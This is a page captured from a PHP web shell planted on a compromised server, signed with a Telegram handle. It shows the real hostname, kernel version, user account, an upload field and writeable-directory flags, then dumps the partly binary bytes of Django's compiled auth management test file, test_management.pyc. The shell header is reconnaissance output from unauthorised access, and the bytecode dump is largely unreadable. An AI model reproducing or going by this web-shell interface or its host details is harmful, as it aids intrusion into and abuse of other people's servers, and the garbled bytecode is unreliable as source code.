https://t.me/AnonymousX5
Server : Apache
System : Linux cvar2.toservers.com 3.10.0-962.3.2.lve1.5.73.el7.x86_64 #1 SMP Wed Aug 24 21:31:23 UTC 2022 x86_64
User : njnconst ( 1116)
PHP Version : 8.4.18
Disable Function : NONE
Directory :  /lib64/python2.7/site-packages/django/contrib/auth/tests/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //lib64/python2.7/site-packages/django/contrib/auth/tests/test_management.pyc
�
r�\c@s�ddlmZddlmZddlmZmZddlmZddl	m
Z
ddlmZddl
mZddlmZdd	lmZdd
lmZddlmZddlmZdd
lmZddlmZddlmZddlm Z ddl!m"Z"edefd��Y�Z#edefd��Y�Z$edefd��Y�Z%defd��YZ&defd��YZ'dS(i����(tunicode_literals(tdate(tmodelst
management(tcreate_permissions(tchangepassword(tUser(t
CustomUser(tskipIfCustomUser(tContentType(tcall_command(tCommandError(tget_validation_errors(tget_app(tTestCase(toverride_settings(tsix(tStringIOtGetDefaultUsernameTestCasecBs>eZd�Zd�Zd�Zd�Zd�Zd�ZRS(cCstj|_dS(N(Rtget_system_usernametold_get_system_username(tself((sK/tmp/pip-install-XxeQeY/django/django/contrib/auth/tests/test_management.pytsetUpscCs|jt_dS(N(RRR(R((sK/tmp/pip-install-XxeQeY/django/django/contrib/auth/tests/test_management.pyttearDownscCs|jtj�tj�dS(N(tassertIsInstanceRRRt	text_type(R((sK/tmp/pip-install-XxeQeY/django/django/contrib/auth/tests/test_management.pyttest_actual_implementationscCs&d�t_|jtj�d�dS(NcSsdS(Nujoe((((sK/tmp/pip-install-XxeQeY/django/django/contrib/auth/tests/test_management.pyt<lambda>"sujoe(RRtassertEqualtget_default_username(R((sK/tmp/pip-install-XxeQeY/django/django/contrib/auth/tests/test_management.pyttest_simple!scCsXtjjjdd�d�t_|jtj�d�|jtjdt�d�dS(NtusernameujoecSsdS(Nujoe((((sK/tmp/pip-install-XxeQeY/django/django/contrib/auth/tests/test_management.pyR'sutcheck_db(	RRtobjectstcreateRRRRtFalse(R((sK/tmp/pip-install-XxeQeY/django/django/contrib/auth/tests/test_management.pyt
test_existing%s
cCs&d�t_|jtj�d�dS(NcSsdS(NuJúlia((((sK/tmp/pip-install-XxeQeY/django/django/contrib/auth/tests/test_management.pyR.sujulia(RRRR(R((sK/tmp/pip-install-XxeQeY/django/django/contrib/auth/tests/test_management.pyt	test_i18n,s(t__name__t
__module__RRRRR$R%(((sK/tmp/pip-install-XxeQeY/django/django/contrib/auth/tests/test_management.pyRs					t'ChangepasswordManagementCommandTestCasecBs5eZd�Zd�Zd�Zd�Zd�ZRS(cCs=tjjjdddd�|_t�|_t�|_dS(NRujoetpassworduqwerty(RRR!tcreate_usertuserRtstdouttstderr(R((sK/tmp/pip-install-XxeQeY/django/django/contrib/auth/tests/test_management.pyR5s!cCs|jj�|jj�dS(N(R,tcloseR-(R((sK/tmp/pip-install-XxeQeY/django/django/contrib/auth/tests/test_management.pyR:s
cCs�|j|jjd��tj�}d�|_|jdd|j�|jj�j	�}|j
|d�|jtjj
jdd�jd��dS(	uLExecuting the changepassword management command should change joe's passworduqwertycWsdS(Nu
not qwerty((targs((sK/tmp/pip-install-XxeQeY/django/django/contrib/auth/tests/test_management.pyRBsujoeR,uMChanging password for user 'joe'
Password changed successfully for user 'joe'Ru
not qwertyN(t
assertTrueR+tcheck_passwordRtCommandt	_get_passtexecuteR,tgetvaluetstripRRRR!tget(Rtcommandtcommand_output((sK/tmp/pip-install-XxeQeY/django/django/contrib/auth/tests/test_management.pyt6test_that_changepassword_command_changes_joes_password>sc
CsQtj�}d�|_|jt��$|jdd|jd|j�WdQXdS(u}
        A CommandError should be thrown by handle() if the user enters in
        mismatched passwords three times.
        cWs
|p	dS(Nufoo((R/((sK/tmp/pip-install-XxeQeY/django/django/contrib/auth/tests/test_management.pyRPsujoeR,R-N(RR2R3tassertRaisesRR4R,R-(RR8((sK/tmp/pip-install-XxeQeY/django/django/contrib/auth/tests/test_management.pyttest_that_max_tries_exits_1JscCsNtjjjdddd�tj�}d�|_|jdd|j�dS(u�
        #21627 -- Executing the changepassword management command should allow
        non-ASCII characters from the User object representation.
        RuJúliaR)uqwertycWsdS(Nu
not qwerty((R/((sK/tmp/pip-install-XxeQeY/django/django/contrib/auth/tests/test_management.pyR^sR,N(	RRR!R*RR2R3R4R,(RR8((sK/tmp/pip-install-XxeQeY/django/django/contrib/auth/tests/test_management.pyt;test_that_changepassword_command_works_with_nonascii_outputUs(R&R'RRR:R<R=(((sK/tmp/pip-install-XxeQeY/django/django/contrib/auth/tests/test_management.pyR(2s
				t(CreatesuperuserManagementCommandTestCasecBsSeZd�Zd�Zd�Zedd�d��Zedd�d��ZRS(c
Cs�t�}tddtddddd|�|j�j�}|j|d�tjjdd�}|j|j	d�|j
|j��d	S(
u=Check the operation of the createsuperuser management commanducreatesuperusertinteractiveRujoetemailujoe@somewhere.orgR,uSuperuser created successfully.N(RR
R#R5R6RRR!R7R@tassertFalsethas_usable_password(Rtnew_ioR9tu((sK/tmp/pip-install-XxeQeY/django/django/contrib/auth/tests/test_management.pyttest_createsuperuseres		cCs�t�}tddtddddddd	|�|j�j�}|j|d
�tjjdd�}|j|j	d�|j
|j��dS(NucreatesuperuserR?Rujoe2R@ujoe2@somewhere.orgt	verbosityiR,u(RR
R#R5R6RRR!R7R@RARB(RRCR9RD((sK/tmp/pip-install-XxeQeY/django/django/contrib/auth/tests/test_management.pyttest_verbosity_zerows		c
Csjt�}tddtddddd|�tjjdd�}|j|jd�|j|j	��dS(NucreatesuperuserR?Rujoe+admin@somewhere.orgR@ujoe@somewhere.orgR,(
RR
R#Rt_default_managerR7RR@RARB(RRCRD((sK/tmp/pip-install-XxeQeY/django/django/contrib/auth/tests/test_management.pyttest_email_in_username�s		tAUTH_USER_MODELuauth.CustomUsercCs�t�}tddtddddd|dt�|j�j�}|j|d	�tjj	dd�}|j|j
td
dd��|j|j
��d
S(u=A superuser can be created when a custom User model is in useucreatesuperuserR?R@ujoe@somewhere.orgt
date_of_birthu
1976-04-01R,tskip_validationuSuperuser created successfully.i�iiN(RR
R#tTrueR5R6RRRHR7RKRRARB(RRCR9RD((sK/tmp/pip-install-XxeQeY/django/django/contrib/auth/tests/test_management.pyttest_swappable_user�s		cCsdt�}|jt��-tddtddd|d|dt�WdQX|jtjj	�d	�dS(
uHA Custom superuser won't be created when a required field isn't provideducreatesuperuserR?Rujoe@somewhere.orgR,R-RLNi(
RR;RR
R#RMRRRHtcount(RRC((sK/tmp/pip-install-XxeQeY/django/django/contrib/auth/tests/test_management.pyt*test_swappable_user_missing_required_field�s		
(R&R'RERGRIRRNRP(((sK/tmp/pip-install-XxeQeY/django/django/contrib/auth/tests/test_management.pyR>bs
			t!CustomUserModelValidationTestCasecBsPeZedd�d��Zedd�d��Zedd�d��ZRS(RJu$auth.CustomUserNonListRequiredFieldscCs6t�}t|td��|jd|j��dS(u!REQUIRED_FIELDS should be a list.uauthu,The REQUIRED_FIELDS must be a list or tuple.N(RRR
tassertInR5(RRC((sK/tmp/pip-install-XxeQeY/django/django/contrib/auth/tests/test_management.pyttest_required_fields_is_list�s	u auth.CustomUserBadRequiredFieldscCs6t�}t|td��|jd|j��dS(u4USERNAME_FIELD should not appear in REQUIRED_FIELDS.uauthujThe field named as the USERNAME_FIELD should not be included in REQUIRED_FIELDS on a swappable User model.N(RRR
RRR5(RRC((sK/tmp/pip-install-XxeQeY/django/django/contrib/auth/tests/test_management.pyt$test_username_not_in_required_fields�s	u auth.CustomUserNonUniqueUsernamecCs6t�}t|td��|jd|j��dS(uBA non-unique USERNAME_FIELD should raise a model validation error.uauthuKThe USERNAME_FIELD must be unique. Add unique=True to the field parameters.N(RRR
RRR5(RRC((sK/tmp/pip-install-XxeQeY/django/django/contrib/auth/tests/test_management.pyttest_username_non_unique�s	(R&R'RRSRTRU(((sK/tmp/pip-install-XxeQeY/django/django/contrib/auth/tests/test_management.pyRQ�stPermissionDuplicationTestCasecBs#eZd�Zd�Zd�ZRS(cCstjjj|_dS(N(Rt
Permissiont_metatpermissionst_original_permissions(R((sK/tmp/pip-install-XxeQeY/django/django/contrib/auth/tests/test_management.pyR�scCs#|jtjj_tjj�dS(N(RZRRWRXRYR	R!tclear_cache(R((sK/tmp/pip-install-XxeQeY/django/django/contrib/auth/tests/test_management.pyR�sc	Cs�d
gtjj_tj|tdttgdd�dddgtjj_tj|tdttgdd�ddgtjj_ttgdd�dS(ur
        Test that we show proper error message if we are trying to create
        duplicate permissions.
        uchange_permissionuCan edit permission (duplicate)ujThe permission codename 'change_permission' clashes with a builtin permission for model 'auth.Permission'.RFiumy_custom_permissionuSome permissionu	other_oneuSome other permissionu.Some permission with duplicate permission codeuYThe permission codename 'my_custom_permission' is duplicated for model 'auth.Permission'.N(uchange_permissionuCan edit permission (duplicate)(umy_custom_permissionuSome permission(u	other_oneuSome other permission(umy_custom_permissionu.Some permission with duplicate permission code(umy_custom_permissionuSome permission(u	other_oneuSome other permission(RRWRXRYRtassertRaisesRegexRR(R((sK/tmp/pip-install-XxeQeY/django/django/contrib/auth/tests/test_management.pyttest_duplicated_permissions�s(R&R'RRR](((sK/tmp/pip-install-XxeQeY/django/django/contrib/auth/tests/test_management.pyRV�s		N((t
__future__RtdatetimeRtdjango.contrib.authRRtdjango.contrib.auth.managementRt'django.contrib.auth.management.commandsRtdjango.contrib.auth.modelsRt%django.contrib.auth.tests.custom_userRtdjango.contrib.auth.tests.utilsRt"django.contrib.contenttypes.modelsR	tdjango.core.managementR
tdjango.core.management.baseRt!django.core.management.validationRtdjango.db.models.loadingR
tdjango.testRtdjango.test.utilsRtdjango.utilsRtdjango.utils.sixRRR(R>RQRV(((sK/tmp/pip-install-XxeQeY/django/django/contrib/auth/tests/test_management.pyt<module>s0/Y

https://t.me/AnonymousX5 - 2025